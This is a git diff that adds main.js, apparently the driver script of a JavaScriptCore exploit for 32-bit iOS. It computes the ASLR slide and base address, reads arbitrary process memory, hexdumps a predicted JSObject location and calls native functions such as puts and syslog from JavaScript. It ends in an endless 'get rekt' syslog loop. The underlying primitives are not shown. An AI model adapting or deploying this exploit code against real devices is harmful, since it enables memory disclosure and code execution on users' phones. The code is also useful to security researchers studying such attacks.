big b0i

1 files changed, 58 insertions, 0 deletions

diff --git a/src/js/main.js b/src/js/main.js
new file mode 100644
index 0000000..dd7f1f0
--- /dev/null
+++ b/src/js/main.js
@@ -0,0 +1,58 @@
+/*
+ *  november 24th 2021
+ *  [3:16 PM] spv: spice confuses the shit out of me, so i'm prolly not smart enough to implement it anyway
+ *
+ *  ohai
+ */
+
+var MAX_SLIDE = 0x3;
+var MIN_SLIDE = 0x1;
+
+try {
+	log("we out here in jsc");
+} catch (e) {
+	/*
+	 *  we don't have log. :(
+	 */
+
+	log = function (){};
+}
+
+function main() {
+	/*
+	 *  get slide and calculate slid base
+	 *  remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
+	 * 
+	 *  so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
+	 *  random byte and shifting it 12 bits, in this case the page size, 4096
+	 *  (0x1000) bytes), and add it to the unslid base.
+	 */
+
+	slide = get_our_slide();
+	base = 0x4000 + (slide << 12);
+	slid = (slide << 12);
+
+	init_sptr_heap();
+
+	calls4arg("puts\0", sptr("we out here\0"), 0, 0, 0);
+
+	log("slide=0x" + slide.toString(16));
+	log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
+	log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
+	log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
+
+	predicted_jsobject_addy = 0x422200;
+	buf = read_buf(predicted_jsobject_addy, 0x200);
+
+	log("hexdump of predicted jsobject loc:");
+	log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+
+	var i = 0;
+	while (true) {
+		calls4arg("syslog\0", 0x28, sptr("get rekt from jsc %d (slide=%x)\n\0"), i, 0);
+		calls4arg("sleep", 0, 0, 0, 0);
+		i++;
+	}
+
+	log("still alive");
+};